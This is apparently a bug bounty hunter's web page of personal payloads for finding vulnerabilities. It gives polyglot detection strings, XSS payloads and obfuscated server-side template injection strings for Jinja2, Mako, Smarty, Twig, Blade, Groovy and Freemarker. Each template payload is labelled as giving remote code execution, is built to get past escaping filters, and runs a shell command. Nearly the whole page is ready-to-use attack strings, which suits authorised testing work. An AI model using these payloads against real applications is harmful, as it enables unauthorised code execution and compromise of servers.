Payloads
A list of payloads that I do use when hunting for vulnerabilities. Personaly, I rarly use exploitation payloads but instead detection payloads.
All payloads shown on this page are created by me. I provide a basic overview of my payloads, exploitation payloads and more advanced detection payloads will not be shared.
Polyglot payloads
This payload focuses on the detection of syntax errors
1
<z>"z'z`%}})z${{z\
This payload focuses on detecting transformation that can be used in future attacks
1
tfmtstart%255Az%5Az\x5Az\u005Az%26%23x5A%3Btfmtend
Cool payloads
This core payload was discoverd by the amazing research garethheyes! You can read more about his research on it here.
I made a few adjustments to it:
1
<script>'<!--<script>'</script>//alert(1)</script>
The Fake comment XSS
1
/\///alert(1)
Server Side Template Injection (SSTI)
Double template rendering payloads
Some of the indexes used in the payload to extract characters for strings may need to be changed depending on the application you are using.
These payloads can be used to bypass
autoescape
/html escape
filters.
Jinja2
Impact: Remote Code Execution (RCE)
1
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[150:152]+self.__init__.__globals__.__str__()[694]).read()}}
Mako
Impact: Remote Code Execution (RCE)
1
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
Smarty
Impact: Remote Code Execution (RCE)
1
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
Twig
Impact: Remote Code Execution (RCE)
1
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
1
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
Blade
Impact: Remote Code Execution (RCE)
1
{{passthru(implode(Null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
Groovy
Impact: Remote Code Execution (RCE)
1
${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}
Freemarker
Impact: Remote Code Execution (RCE)
1
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
You can find a lot of great resources related to payloads below.